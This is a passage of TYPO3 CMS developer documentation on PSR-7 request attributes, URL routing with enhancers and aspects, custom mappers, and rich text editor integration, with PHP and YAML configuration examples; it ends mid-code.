Instruct the core Frontend rendering to disable Frontend caching. Extensions with
custom middlewares may set this.
Note multiple cache layers are involved during Frontend rendering: For instance multiple
TypoScript layers, the page cache and potentially others. Those caches are read from and
written to within various middlewares. Depending on the position of a call to this method
within the middleware stack, it can happen that some or all caches have already been
read of written.
Extensions that use this method should keep an eye on their middleware positions in the
stack to estimate the performance impact of this call. It's of course best to not use
the 'disable cache' mechanic at all, but to handle caching properly in extensions.
param $reason
the reason
isCachingAllowed()
Returns
bool
Frontend controller
Deprecated since version 13.4
The class
\TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController
and its global instance
$GLOBALS['TSFE'] have been marked as
deprecated. The class will be removed with TYPO3 v14.
The
frontend.controller frontend request attribute provides access to the
\TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController object.
Example:
$frontendController = $request->getAttribute('frontend.controller');
$rootline = $frontendController->rootLine; // Mind the capital "L"
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Attention
In former TYPO3 versions you have to retrieve the
TypoScriptFrontendController via the global variable
$GLOBALS['TSFE'] . This should be avoided now, instead use the request
attribute.
The class is currently still marked as experimental. However, extension
authors are encouraged to use information from this request attribute
instead of the
TyposcriptFrontendController (TSFE) properties
already: TYPO3 Core v13 will try to not break especially the getters /
properties not marked as
@internal.
The
frontend.page.information frontend request attribute provides
frequently used page information. The attribute is attached to the PSR-7
frontend request by the middleware
TypoScriptFrontendInitialization, middlewares below can rely on existence
of that attribute.
The
frontend.typoscript frontend request attribute provides access to the
\TYPO3\CMS\Core\TypoScript\FrontendTypoScript object. It contains
the calculated TypoScript
settings (formerly
constants) and
sometimes
setup, depending on page cache status.
When a content object or plugin (plugins are content objects as well) needs the
current TypoScript, it can retrieve it using this API:
// Substitution of $GLOBALS['TSFE']->tmpl->setup
$fullTypoScript = $request->getAttribute('frontend.typoscript')
->getSetupArray();
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API
New in version 13.0
The method
getConfigArray() has been added. This supersedes the
TSFE->config['config'] array.
classFrontendTypoScript
Fully qualified name
\TYPO3\CMS\Core\TypoScript\FrontendTypoScript
This class contains the TypoScript set up by the PrepareTypoScriptFrontendRendering
Frontend middleware. It can be accessed in content objects:
This is always set up as soon as the Frontend rendering needs to actually render something and
can not get the full content from page cache. This is the case when a page cache entry does
not exist, or when the page contains COA_INT or USER_INT objects.
Returns
array
getConfigArray()
Array representation of getConfigTree().
Returns
array
Frontend user
The
frontend.user frontend request attribute provides the
\TYPO3\CMS\Frontend\Authentication\FrontendUserAuthentication object.
The topic is described in depth in chapter
Authentication.
The frontend user id and groups are available from the
User aspect.
Language
The
language frontend request attribute provides information about the
current language of the webpage via the
\TYPO3\CMS\Core\Site\Entity\SiteLanguage object.
The
moduleData backend request attribute is available when a backend
module is requested. It holds the object
\TYPO3\CMS\Backend\Module\ModuleData
which contains the stored module data that might have been overwritten through
the current request (with GET/POST).
Through the module registration one can define, which properties can be
overwritten via GET/POST and their default value.
The whole determination is done before the requested route target - usually a
backend controller - is called. This means, the route target can just read the
final module data.
Note
It is still possible to store and retrieve arbitrary module data. The
definition of moduleData in the module registration only defines, which
properties can be overwritten in a request (with GET/POST).
To restrict the values of module data properties, the given
ModuleData
object can be cleaned, for example, in a controller:
If
ModuleData contains
property, the value is checked against the
$allowedValues list. If the current value is valid, nothing happens.
Otherwise the value is either changed to the default or if this value is also
not allowed, to the first allowed value.
API
classModuleData
Fully qualified name
\TYPO3\CMS\Backend\Module\ModuleData
A simple DTO containing the user specific module settings, e.g. whether the clipboard is shown.
The DTO is created in the PSR-15 middleware BackendModuleValidator, in case a backend module
is requested and the user has necessary access permissions. The created DTO is then added as
attribute to the PSR-7 Request and can be further used in components, such as middlewares or
the route target (usually a backend controller).
Cleans a single property by the given allowed list. First fallback
is the default data list. If this list does also not contain an
allowed value, the first value from the allowed list is taken.
param $propertyName
the propertyName
param $allowedValues
the allowedValues
Return description
True if something has been cleaned up
Returns
bool
cleanUp(array $allowedData, bool $useKeys = true)
Cleans up all module data, which are defined in the
given allowed data list. Usually called with $MOD_MENU.
It is always available in backend context and only in frontend context, if the
according feature
is enabled.
One can retrieve the nonce like this:
// use TYPO3\CMS\Core\Domain\ConsumableString/** @var ConsumableString|null $nonce */
$nonceAttribute = $this->request->getAttribute('nonce');
if ($nonceAttribute instanceof ConsumableString) {
$nonce = $nonceAttribute->consume();
}
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Normalized parameters
The
normalizedParams request attribute provide access to server
parameters, for instance, if the TYPO3 installation is behind a reverse proxy.
It is available in frontend and backend context.
Attention
The normalized parameters substitute
\TYPO3\CMS\Core\Utility\GeneralUtility::getIndpEnv(). See the
migration guide below.
One can retrieve the normalized parameters like this:
This class provides normalized server parameters in HTTP request context.
It normalizes reverse proxy scenarios and various other web server specific differences
of the native PSR-7 request object parameters (->getServerParams() / $GLOBALS['_SERVER']).
An instance of this class is available as PSR-7 ServerRequestInterface attribute:
True if request comes from a configured reverse proxy
Returns
bool
isHttps()
Return description
True if client request has been done using HTTPS
Returns
bool
Migrating from
GeneralUtility::getIndpEnv()
The class
\TYPO3\CMS\Core\Http\NormalizedParams is a one-to-one transition
of
\TYPO3\CMS\Core\Utility\GeneralUtility::getIndpEnv(), the old
arguments can be substituted with these calls:
SCRIPT_NAME is now
->getScriptName()
SCRIPT_FILENAME is now
->getScriptFilename()
REQUEST_URI is now
->getRequestUri()
TYPO3_REV_PROXY is now
->isBehindReverseProxy()
REMOTE_ADDR is now
->getRemoteAddress()
HTTP_HOST is now
->getHttpHost()
TYPO3_DOCUMENT_ROOT is now
->getDocumentRoot()
TYPO3_HOST_ONLY is now
->getRequestHostOnly()
TYPO3_PORT is now
->getRequestPort()
TYPO3_REQUEST_HOST is now
->getRequestHost()
TYPO3_REQUEST_URL is now
->getRequestUrl()
TYPO3_REQUEST_SCRIPT is now
->getRequestScript()
TYPO3_REQUEST_DIR is now
->getRequestDir()
TYPO3_SITE_URL is now
->getSiteUrl()
TYPO3_SITE_PATH is now
->getSitePath()
TYPO3_SITE_SCRIPT is now
->getSiteScript()
TYPO3_SSL is now
->isHttps()
Some further old
getIndpEnv() arguments directly access
$request->serverParams() and do not apply any
normalization. These have been transferred to the new class, too, but will be deprecated later if the Core does not use
them anymore:
PATH_INFO is now
->getPathInfo(), but better use
->getScriptName() instead
HTTP_REFERER is now
->getHttpReferer(), but better use
$request->getServerParams()['HTTP_REFERER'] instead
HTTP_USER_AGENT is now
->getHttpUserAgent(), but better use
$request->getServerParams()['HTTP_USER_AGENT'] instead
HTTP_ACCEPT_ENCODING is now
->getHttpAcceptEncoding(), but
better use
$request->getServerParams()['HTTP_ACCEPT_ENCODING'] instead
HTTP_ACCEPT_LANGUAGE is now
->getHttpAcceptLanguage(), but
better use
$request->getServerParams()['HTTP_ACCEPT_LANGUAGE'] instead
REMOTE_HOST is now
->getRemoteHost(), but better use
$request->getServerParams()['REMOTE_HOST'] instead
QUERY_STRING is now
->getQueryString(), but better use
$request->getServerParams()['QUERY_STRING'] instead
Route
The
route backend request attribute provides routing information in
the object
\TYPO3\CMS\Backend\Routing\Route .
The architecture is highly inspired by the Symfony Routing Component.
getPath()
Returns the path
Return description
The path pattern
Returns
string
setPath(?string $pattern)
Sets the pattern for the path
A pattern must start with a slash and must not have multiple slashes at the beginning because the
generated path for this route would be confused with a network path, e.g. '//domain.com/path'.
This method implements a fluent interface.
param $pattern
The path pattern
Return description
The current Route instance
Returns
\Route
getMethods()
Returns the uppercased HTTP methods this route is restricted to.
An empty array means that any method is allowed.
Return description
The methods
Returns
string[]
setMethods(array $methods)
Sets the HTTP methods (e.g. ['POST']) this route is restricted to.
The
routing frontend request attribute provides routing information in
the object
\TYPO3\CMS\Core\Routing\PageArguments . If you want to know the
current page ID or retrieve the query parameters this attribute is your friend.
The
site request attribute hold information about the current
site in the object
\TYPO3\CMS\Core\Site\Entity\Site .
It is available in frontend and backend context.
In backend context the attribute can hold a
\TYPO3\CMS\Core\Site\Entity\NullSite object when the module does not
provide a page tree or no page in the page tree is selected.
The
target backend request attribute provides the target action of a
backend route. For instance, the target of the Web > List module
is set to
TYPO3\CMS\Recordlist\Controller\RecordListController::mainAction.
When TYPO3 serves a request, it maps the incoming URL to a specific page or action.
For example it maps an URL like https://example.org/news to the News page. This process of
determining the page and/or action to execute for a specific URL is called "Routing".
The input of a route is made up of several components; some components can also be split further
into sub-components.
Routing will also take care of beautifying URI parameters, for example converting
https://example.org/profiles?user=magdalena to https://example.org/profiles/magdalena.
Key Terminology
Given a complex link (URI, Uniform Resource Identificator) like
Please note that the following terminology is based on technical terms used in the TYPO3 Core,
due to their class/object and interface names.
Route
The "speaking URL" as a whole (without the domain parts); for example /en/about-us/our-team/john-doe/publications/index.xhtml.
This is also sometimes referred to as permalink, some definitions also include the Query string
for this term.
Site Language Prefix
A global site language prefix (e.g. "/dk" or "/en-us") is not considered part of the slug, but rather a "prefix" to the slug.
Slug
Unique name for a resource to use when creating URLs; for example the slug of the news detail page
could be /news/detail, and
the slug of a news record could be 2019-software-update.
Within TYPO3, a slug is always a part (section) of the URL "path" - it does not contain scheme, host, HTTP verb, etc.
The URL "path" consists of one or more slugs which are concatenated into a single string.
A slug is usually added to a TCA-based database table, containing rules for evaluation and definition.
The default behaviour of a slug is as follows:
A slug only contains characters which are allowed within URLs. Spaces, commas and other special characters are converted to a fallback character.
A slug is always lower-cased.
A slug is unicode-aware.
Slugs must be separated by one or more character like "/", "-", "_" and "&".
Regular characters like letters should not be used as separators for better readability.
Note
A slug of a record may contain slashes but this is not recommended:
The risk of conflicts is higher when using slashes within slugs. For
example, unrelated page hierarchies and records could have slugs
forming the same URL path.
Enhancers
Sections after a slug can be added ("enhancing" the route) both by "Route Enhancers" and also
"(Route Enhancing) Decorators", see
Advanced routing configuration.
Page Type Suffix
A Page Type Suffix indicates the type of a URL, usually ".html". It can also be left out completely.
If set, it could control alternate variants of a URL, for example a RSS feed or a JSON representation.
A Page Type Suffix is treated as an Enhancer, specifically a "(Route) Decorator".
Other kinds of decorators could add additional parts to the route, but
only after(!) the initial "Route Enhancer(s)".
Enhanced Route
The combination of multiple Enhancers (and the Page Type Suffix) can be referred to as the "Enhanced Route".
Query string
The main distinction of URL (Uniform Resource Locator) and URI (Uniform Resource Identifier) is that
the URI also includes arguments/parameters and their values, beginning with a ? and each argument
separated by &, and the value separated from the argument name by =. This is commonly referred to as
"Query string".
Routing in TYPO3
Routing in TYPO3 is implemented based on the Symfony Routing components. It consists of two parts:
Page Routing
Route Enhancements and Aspects
Page Routing describes the process of resolving the concrete page (in earlier TYPO3 versions this were the id and L$_GET parameters,
now this uses the Site Language Prefix plus one or more slugs),
whereas Route Enhancements and Aspects take care of all additionally configured parameters (such as beautifying plugin parameters, handling type etc.).
Prerequisites
To ensure Routing in TYPO3 is fully functional the following prerequisites need to be met:
site configuration needs to exist (see Site handling)
Tips
Using imports in YAML files
As routing configuration (and site configuration in general) can get pretty long
fast, you should make use of imports in your YAML configuration which allows you
to add routing configurations from different files and different extensions.
The resources are now imported in the exact same order as they are
configured in the importing file. Take care during updating from version
below TYPO3 v12.
Page-based routing
TYPO3 provides built-in support for page-based routing, mapping pages to
routes automatically.
Page-based routing is always enabled in TYPO3 and requires a site
configuration (see Site handling) for your website. Each page's route
is determined by its slug field, which can be viewed in the page
properties.
Hint
Ensure that editors have the necessary permissions to modify the slug
field if they need to change or update slugs when modifying page titles.
The generation of page slugs is controlled via the TCA configuration of the
pages table (slug field). This configuration can be customized in your
extension’s TCA/Overrides/pages.php. Refer to the TCA reference
(Slugs / URL parts) for available options.
If the system extension
typo3/cms-redirects
is installed,
redirects are automatically generated when a slug is adjusted by and editor.
While page-based routing works out of the box, routing for extensions has to be
configured explicitly in your site configuration.
Note
There is no graphical user interface for configuring extended
routing. All adjustments need to be made by manually editing your website's
config.yaml site configuration file (located in
config/sites/<yoursite>/config.yaml).
Enhancers and aspects are an important concept in TYPO3 and they are used to map
GET parameters to routes.
An enhancer creates
variations of a specific page-based route for a specific purpose (e.g. an
Extbase plugin) and "enhances" an existing route path, which
can contain flexible values, so-called "placeholders".
Aspects can
be registered for a specific enhancer to modify placeholders, adding static,
human readable names within the route path or dynamically generated values.
To give you an overview of what the distinction is, imagine a web page which
is available at
https://example.org/path-to/my-page
(the path mirrors the page structure in the backend) and has page ID 13.
An enhancer adds the suffix /products/<product-name> to the base route of the
page. The enhancer uses a placeholder variable which is resolved statically,
dynamically or built by an aspect or "mapper".
It is possible to use the same enhancer multiple times with different
configurations. Be aware that it is not possible to combine multiple variants /
enhancers matching multiple configurations.
However, custom enhancers can be created for special use cases, for
example, when two plugins with multiple parameters each could be configured.
Otherwise, the first variant matching the URL parameters is used for generating
and resolving the route.
Enhancers
Tip
See Key Terminology for an introduction to the used
terminology here.
There are two types of enhancers: route decorators and route enhancers. A route
enhancer replaces a set of placeholders, inserts URL parameters
during URL generation and then resolves them properly later. The substitution of
values with aliases can be done by aspects. To simplify, a route enhancer
specifies what the full route path looks like and which variables are available,
whereas an aspect maps a single variable to a value.
TYPO3 comes with the following route enhancers out of the box:
Within a configuration, an enhancer always evaluates the following properties:
type
The short name of the enhancer as registered within
$GLOBALS['TYPO3_CONF_VARS'] . This is mandatory.
limitToPages
An array of page IDs where this enhancer should be called. This is optional.
This property (array) triggers an enhancer only for specific pages. In case
of special plugin pages, it is recommended to enhance only those pages with
the plugin to speed up performance of building page routes of all other
pages.
All enhancers allow to configure at least one route with the following
configuration:
defaults
Defines which URL parameters are optional. If the parameters are omitted
during generation, they can receive a default value and do not need a
placeholder - it is possible to add them at the very end of the
routePath.
requirements
Specifies exactly what kind of parameter should be added to that route as a
regular expressions. This way it is configurable
to allow only integer values, for example for pagination.
Make sure you define your requirements as strict as possible. This is
necessary so that performance is not reduced and to allow TYPO3 to match the
expected route.
_arguments
Defines what route parameters should be available to the system. In the
following example, the placeholder is called
category_id, but the
URL generation receives the argument
category. It is mapped to that
name (so you can access/use it as
category in your custom code).
TYPO3 will add the parameter cHash to URLs when necessary, see Caching variants - or: What is a "cache hash"?.
The cHash can be removed by converting dynamic arguments into static
arguments. All captured arguments are dynamic by default. They can be converted
to static arguments by defining the possible expected values for these
arguments. This is done by adding aspects for those arguments to provide
a static list of expected values.
Simple enhancer
The simple enhancer works with route arguments. It maps them to an
argument to make a URL that can be used later.
routeEnhancers:# Unique name for the enhancers, used internally for referencingCategoryListing:type:SimplelimitToPages:[13]routePath:'/show-by-category/{category_id}/{tag}'defaults:tag:''requirements:category_id:'[0-9]{1,3}'tag:'[a-zA-Z0-9]+'_arguments:category_id:'category'
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routePath
defines the static keyword and the placeholders.
requirements
defines parts that should be replaced in the
routePath. Regular
expressions limit the allowed chars to be used in those parts.
_arguments
defines the mapping from the placeholder in the
routePath to the
name of the parameter in the URL as it would appear without enhancement.
Note that it is also possible to map to nested parameters by providing a
path-like parameter name. For example, specifying my_array/my_key as the
parameter name would set the GET parameter my_array[my_key] to the value
of the specified placeholder.
Note
For people coming from
dmitryd/typo3-realurl
in previous TYPO3 versions: The
routePath can be loosely compared to some as "postVarSets".
Plugin enhancer
The plugin enhancer works with plugins based on Core functionality.
In this example we will map the raw parameters of an URL like this:
The base for the plugin enhancer is the configuration of a so-called
"namespace", in this case tx_felogin_pi1 - the plugin's namespace.
The plugin enhancer explicitly sets exactly one additional variation for a
specific use case. For the frontend login, we
would need to set up two configurations of the plugin enhancer for
"forgot password" and "recover password".
If the input given to generate the URL does not match, the
route enhancer is not triggered, and the parameters are added to
the URL as normal query parameters. For example, if the user parameter
is more than three characters or non-numeric, this enhancer would not
match.
As you see, the plugin enhancer is used to specify placeholders and
requirements with a given namespace.
If you want to replace the user ID (in this example "82") with a username,
you would need an aspect that can be registered within any enhancer, see
below for details.
Extbase plugin enhancer
When creating Extbase plugins, it is very common to have
multiple controller/action combinations. Therefore, the Extbase plugin enhancer
is an extension to the regular plugin enhancer and provides the
functionality to generate multiple variants, typically based on the available
controller/action pairs.
The Extbase plugin enhancer with the configuration below would now apply to the
following URLs:
In this example, the
_arguments parameter is used to set sub-properties
of an array, which is typically used within demand objects for filtering
functionality. Additionally, it is using both the short and the long form of
writing route configurations.
Instead of using the combination of
extension and
plugin one can
also provide the
namespace property as in the
regular plugin enhancer:
routeEnhancers:NewsPlugin:type:ExtbaselimitToPages:[13]namespace:tx_news_pi1# ... further configuration
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To understand what is happening in the
aspects part, read on.
Attention
Please ensure not to register the same
routePath more than once, for
example through multiple extensions. In that case, the enhancer imported
last will override any duplicate routes that are in place.
PageType decorator
The PageType enhancer (route decorator) allows to add a suffix to the existing route
(including existing other enhancers) to map a page type (GET parameter &type=)
to a suffix.
It is possible to map various page types to endings:
The
index property is used when generating links on root-level page,
so instead of having /en/.html it would then result in
/en/index.html.
Note
The implementation is a decorator enhancer, which means that the
PageType enhancer is only there for adding suffixes to an existing route /
variant, but not to substitute something within the middle of a
human-readable URL segment.
Aspects
Now that we have looked at how to transform a route to a page by using arguments
inserted into a URL, we will look at aspects. An aspect handles
the detailed logic within placeholders. The most common part of an aspect is
called a mapper. For example, parameter
{news}, is a UID within TYPO3,
and is mapped to the current news slug, which is a field within the database
table containing the cleaned/sanitized title of the news (for example,
"software-updates-2022" maps to news ID 10).
An aspect is a way to modify, beautify or map an argument into a placeholder.
That's why the terms "mapper" and "modifier" will pop up, depending on the
different cases.
Aspects are registered within a single enhancer configuration with the option
aspects and can be used with any enhancer.
Let us start with some examples first:
StaticValueMapper
The static value mapper replaces values on a 1:1 mapping list of an argument
into a speaking segment, useful for a checkout process to define the steps into
"cart", "shipping", "billing", "overview" and "finish", or in another example to
create human-readable segments for all available months.
If we have an enhanced route path such as /archive/{year}/{month}
it should be possible in multi-language setups to change /archive/ depending
on the language of the page. This modifier is a
good example where a route path is modified, but not affected by arguments.
This aspect replaces the placeholder
localized_archive depending on the
locale of the language of that page.
StaticRangeMapper
A static range mapper allows to avoid the cHash and narrow down the available
possibilities for a placeholder. It explicitly defines a range for a value,
which is recommended for all kinds of pagination functionality.
This limits down the pagination to a maximum of 100 pages. If a user calls the
news list with page 101, the route enhancer does not match and would not apply
the placeholder.
Note
A range larger than 1000 is not allowed.
PersistedAliasMapper
If an extension ships with a slug field or a different field used for the
speaking URL path, this database field can be used to build the URL:
The persisted alias mapper looks up the table and the field to map the given
value to a URL. The property
tableName points to the database table,
the property
routeFieldName is the field which will be used within the
route path, in this example
path_segment.
The special
routeValuePrefix is used for TCA type
slug fields
where the prefix
/ is within all fields of the field names, which should
be removed in the case above.
If a field is used for
routeFieldName that is not prepared to be put
into the route path, e.g. the news title field, you must ensure that this is
unique and suitable for the use in an URL. On top, special characters like
spaces will not be converted automatically. Therefore, usage of a slug TCA field
is recommended.
PersistedPatternMapper
When a placeholder should be fetched from multiple fields of the database, the
persisted pattern mapper is for you. It allows to combine various fields into
one variable, ensuring a unique value, for example by adding the UID to the
field without having the need of adding a custom slug field to the system.
The
routeFieldPattern option builds the title and uid fields from the
database, the
routeFieldResult shows how the placeholder will be output.
However, as mentioned above special characters in the title might still be a
problem. The persisted pattern mapper might be a good choice if you are
upgrading from a previous version and had URLs with an appended UID for
uniqueness.
Aspect precedence
Route
requirements are ignored for route variables having a
corresponding setting in
aspects. Imagine an aspect that is mapping an
internal value 1 to route value one and vice versa - it is not possible to
explicitly define the
requirements for this case - which is why
aspects take precedence.
The following example illustrates the mentioned dilemma between route generation
and resolving:
routeEnhancers:MyPlugin:type:'Plugin'namespace:'my'routePath:'overview/{month}'requirements:# note: it does not make any sense to declare all values here againmonth:'^(\d+|january|february|march|april|...|december)$'aspects:month:type:'StaticValueMapper'map:january:'1'february:'2'march:'3'april:'4'may:'5'june:'6'july:'7'august:'8'september:'9'october:'10'november:'11'december:'12'
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The
map in the previous example is already defining all valid values.
That is why
aspects take precedence over
requirements for a
specific
routePath definition.
Aspect fallback value handling
Imagine a route like /news/{news_title} that has been filled with an "invalid"
value for the news_title part. Often these are outdated, deleted or hidden
records. Usually TYPO3 reacts to these "invalid" URL sections at a very early
stage with an HTTP status code "404" (resource not found).
The property
fallbackValue = [string|null] can prevent the above
scenario in several ways. By specifying an alternative value, a different
record, language or other detail can be represented. Specifying
null
removes the corresponding parameter from the route result. In this way, it is
up to the developer to react accordingly.
In the case of Extbase extensions, the developer can define the
parameters in his calling controller action as nullable and deliver
corresponding flash messages that explain the current
scenario better than a "404" HTTP status code.
Examples
routeEnhancers:NewsPlugin:type:Extbaseextension:Newsplugin:Pi1routes:-routePath:'/detail/{news_title}'_controller:'News::detail'_arguments:news_title:'news'aspects:news_title:type:PersistedAliasMappertableName:tx_news_domain_model_newsrouteFieldName:path_segment# A string value leads to parameter `&tx_news_pi1[news]=0`fallbackValue:'0'# A null value leads to parameter `&tx_news_pi1[news]` being removed# fallbackValue: null
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Custom mapper implementations can incorporate this behavior by implementing
the
\TYPO3\CMS\Core\Routing\Aspect\UnresolvedValueInterface which is
provided by
\TYPO3\CMS\Core\Routing\Aspect\UnresolvedValueTrait :
While accessing a page in TYPO3 in the frontend, all arguments are currently
built back into the global GET parameters, but are also available as so-called
\TYPO3\CMS\Core\Routing\PageArguments object. The
PageArguments
object is then used to sign and verify the parameters, to ensure that they are
valid, when handing them further down the frontend request chain.
If there are dynamic parameters (= parameters which are not strictly limited), a
verification GET parameter cHash is added, which can and should not be
removed from the URL. The concept of manually activating or deactivating
the generation of a cHash is not optional anymore, but strictly built-in to
ensure proper URL handling. If you really have the requirement to not have a
cHash argument, ensure that all placeholders are having strict definitions
on what could be the result of the page segment (e.g. pagination), and feel
free to build custom mappers.
All existing APIs like
typolink or functionality evaluate the
page routing API directly.
Note
If you update the site configuration with enhancers you have to to clear
all caches, for example via the upper menu bar in the backend.
Extending Routing
The TYPO3 Routing is extendable by design, so you can write both custom aspects as well as custom enhancers.
You should write a custom enhancer if you need to manipulate how the full route looks like and gets resolved.
You should write a custom aspect if you want to manipulate how a single route parameter ("variable") gets mapped and resolved.
Writing custom aspects
Custom aspects can either be modifiers or mappers. A modifier provides static modifications to a route path based on a given context (for example "language").
A mapper provides a mapping table (either a static table or one with dynamic values from the database).
All aspects derive from the interface
\TYPO3\CMS\Core\Routing\Aspect\AspectInterface .
To write a custom modifier, your aspect has to
extend
\TYPO3\CMS\Core\Routing\Aspect\ModifiableAspectInterface and implement the
modify method
(see \TYPO3\CMS\Core\Routing\Aspect\LocaleModifier as example).
To write a custom mapper, your aspect should either implement
\TYPO3\CMS\Core\Routing\Aspect\StaticMappableAspectInterface
or
\TYPO3\CMS\Core\Routing\Aspect\PersistedMappableAspectInterface , depending on whether you have a static or dynamic mapping table.
The latter interface is used for mappers that need more expensive - for example database related - queries as execution is deferred to improve performance.
All mappers need to implement the methods
generate and
resolve. The first one is used on URL generation, the second one on URL resolution.
After implementing the matching interface, your aspect needs to be registered in ext_localconf.php:
It can now be used in the routing configuration as type. The example above could be used as type: MyCustomMapperNameAsUsedInYamlConfig.
If your aspect is language aware, it should additionally implement SiteLanguageAwareInterface with the methods setSiteLanguage(Entity\SiteLanguage $siteLanguage)
and getSiteLanguage(). setSiteLanguage will automatically be called with the current site language object.
Writing custom enhancers
Enhancers can be either decorators or routing enhancers providing variants for a page.
To write a custom decorator your enhancer should implement the
\TYPO3\CMS\Core\Routing\Enhancer\DecoratingEnhancerInterface .
To write a custom route enhancer your enhancer should implement both
\TYPO3\CMS\Core\Routing\Enhancer\RoutingEnhancerInterface and
\TYPO3\CMS\Core\Routing\Enhancer\ResultingInterface
The interfaces contain methods you need to implement as well as a description of what the methods are supposed to do. Please take a look there.
To register the enhancer, add the following to your ext_localconf.php:
The method then receives an parameter array with the following values:
[
'slug' ... the slug to be used
'workspaceId' ... the workspace ID, "0"if in live workspace
'configuration' ... the configuration of the TCA field
'record' ... the full record to be used
'pid' ... the resolved parent page ID
'prefix' ... the prefix that was added
'tableName' ... the table of the slug field
'fieldName' ... the field name of the slug field
];
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All hooks need to return the modified slug value.
Any extension can modify a specific slug, for instance only for a specific part of the page tree.
It is also possible for extensions to implement custom functionality like "Do not include in slug generation" as known from RealURL.
If you have additional examples and are willing to share, please create a
Pull Request on Github and add it to this page.
EXT: News
Prerequisites:
The plugins for list view and detail view are on separate pages.
If you use the category menu or tag list plugins to filter news records, their titles (slugs) are used.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Routing\Aspect;
useTYPO3\CMS\Core\Database\ConnectionPool;
useTYPO3\CMS\Core\Routing\Aspect\StaticMappableAspectInterface;
useTYPO3\CMS\Core\Utility\GeneralUtility;
classStaticDatabaseMapperimplementsStaticMappableAspectInterface, \Countable{
protectedarray $settings;
protected string $field;
protected string $table;
protected string $groupBy;
protectedarray $where;
protectedarray $values;
publicfunction__construct(array $settings){
$field = $settings['field'] ?? null;
$table = $settings['table'] ?? null;
$where = $settings['where'] ?? [];
$groupBy = $settings['groupBy'] ?? '';
if (!is_string($field)) {
thrownew \InvalidArgumentException('field must be string', 1550156808);
}
if (!is_string($table)) {
thrownew \InvalidArgumentException('table must be string', 1550156812);
}
if (!is_string($groupBy)) {
thrownew \InvalidArgumentException('groupBy must be string', 1550158149);
}
if (!is_array($where)) {
thrownew \InvalidArgumentException('where must be an array', 1550157442);
}
$this->settings = $settings;
$this->field = $field;
$this->table = $table;
$this->where = $where;
$this->groupBy = $groupBy;
$this->values = $this->buildValues();
}
publicfunctioncount(): int{
return count($this->values);
}
publicfunctiongenerate(string $value): ?string{
return$this->respondWhenInValues($value);
}
publicfunctionresolve(string $value): ?string{
return$this->respondWhenInValues($value);
}
protectedfunctionrespondWhenInValues(string $value): ?string{
if (in_array($value, $this->values, true)) {
return $value;
}
returnnull;
}
/**
* Builds range based on given settings and ensures each item is string.
* The amount of items is limited to 1000 in order to avoid brute-force
* scenarios and the risk of cache-flooding.
*
* In case that is not enough, creating a custom and more specific mapper
* is encouraged. Using high values that are not distinct exposes the site
* to the risk of cache-flooding.
*
* @return string[]
* @throws \LengthException
*/protectedfunctionbuildValues(): array{
$queryBuilder = GeneralUtility::makeInstance(ConnectionPool::class)
->getQueryBuilderForTable($this->table);
$queryBuilder
->select($this->field)
->from($this->table);
if ($this->groupBy !== '') {
$queryBuilder->groupBy($this->groupBy);
}
if (!empty($this->where)) {
foreach ($this->where as $key => $value) {
$queryBuilder->andWhere($key, $queryBuilder->createNamedParameter($value));
}
}
return array_map('strval', array_column($queryBuilder->executeQuery()->fetchAllAssociative(), $this->field));
}
}
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Usage with imports
On typo3.com we are using imports to make routing configurations easier to manage:
This chapter contains general information about Rich Text Editors (RTE)
in TYPO3, how they are integrated
in the TYPO3 Backend and what transformations get applied along the
various processes (saving to the database, rendering to the frontend, etc.)
CKEditor rich text editor
TYPO3 comes with the system extension
typo3/cms-rte-ckeditor
"CKEditor Rich Text Editor" which integrates CKEditor
functionality into the Core for editing of rich text content.
The explanations on this page don't show how to display an RTE but rather, describe how
rendering of content should be done in the frontend when it was entered with help
of an RTE.
Rich text editors enrich content with HTML and pseudo HTML (for example a special
link syntax). You should therefore always render the output of a RTE field
with the Format.html ViewHelper <f:format.html>:
Rendering is sometimes done by TypoScript only, in those cases it is possible to
use lib.parseFunc_RTE for parsing and rendering (see also
TypoScript function parseFunc):
For example to render the bodytext filed of table tt_content without Fluid:
tt_content.my_content_element = TEXT
tt_content.my_content_element {
field = bodytext
wrap = <p>|</p>
stdWrap.parseFunc < lib.parseFunc_RTE
}
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Usually the TypoScript function typolink should be used for single links,
but for text that might include several links that is not possible easily.
Therefore lib.parseFunc_RTE is used to simplify and streamline this process.
Details to parseFunc can be found in the TypoScript Reference:
When you configure a table in
$TCA and add a field of the type text
you can configure
The rtehtmlarea RTE activated in the TYPO3 backend
For full details about setting up a field to use an RTE, please refer to the
chapter labeled 'special-configuration-options' in older versions of the
TCA Reference.
The short story is that it's enough to set the key enableRichtext to true.
<poem><label>RTE Example (Flexform)</label><config><type>text</type><enableRichtext>true</enableRichtext><richtextConfiguration>full</richtextConfiguration></config></poem>
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Hint
If the Rich Text Editor is not displayed, it might be turned off in
User Settings > Edit and Advanced functions > Enable Rich Text Editor
Plugging in a custom RTE
TYPO3 supports any Rich Text Editor for which someone might write a
connector to the RTE API. This means that you can freely choose
whatever RTE you want to use among those available from the Extension
Repository on typo3.org.
TYPO3 comes with a built-in RTE called "ckeditor", but other RTEs
are available in the TYPO3 Extension Repository and you can implement your
own RTE if you like.
API for rich text editors
Connecting an RTE in an extension to TYPO3 is easy. The following example is
based on the implementation of ext:rte_ckeditor.
In the ext_localconf.php you can use the FormEngine's NodeResolver
to implement your own RichTextNodeResolver and give it a higher priority
than the Core's implementation:
Now create the class
\MyVendor\MyExtension\Form\Resolver\RichTextNodeResolver.
The RichTextNodeResolver needs to implement the NodeResolverInterface and
the major parts happen in the resolve() function, where, if all conditions
are met, the RichTextElement class name is returned:
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Form\Resolver;
useMyVendor\MyExtension\Form\Element\RichTextElement;
useTYPO3\CMS\Backend\Form\NodeFactory;
useTYPO3\CMS\Backend\Form\NodeResolverInterface;
useTYPO3\CMS\Core\Authentication\BackendUserAuthentication;
/**
* This resolver will return the RichTextElement render class if RTE is enabled for this field.
*/classRichTextNodeResolverimplementsNodeResolverInterface{
/**
* Global options from NodeFactory
*/protectedarray $data;
/**
* Default constructor receives full data array
*/publicfunction__construct(NodeFactory $nodeFactory, array $data){
$this->data = $data;
}
/**
* Returns RichTextElement as class name if RTE widget should be rendered.
*
* @return string|null New class name or void if this resolver does not change current class name.
*/publicfunctionresolve(): string|null{
$parameterArray = $this->data['parameterArray'];
$backendUser = $this->getBackendUserAuthentication();
if (// This field is not read only
!$parameterArray['fieldConf']['config']['readOnly']
// If RTE is generally enabled by user settings and RTE object registry can return something valid
&& $backendUser->isRTE()
// If RTE is enabled for field
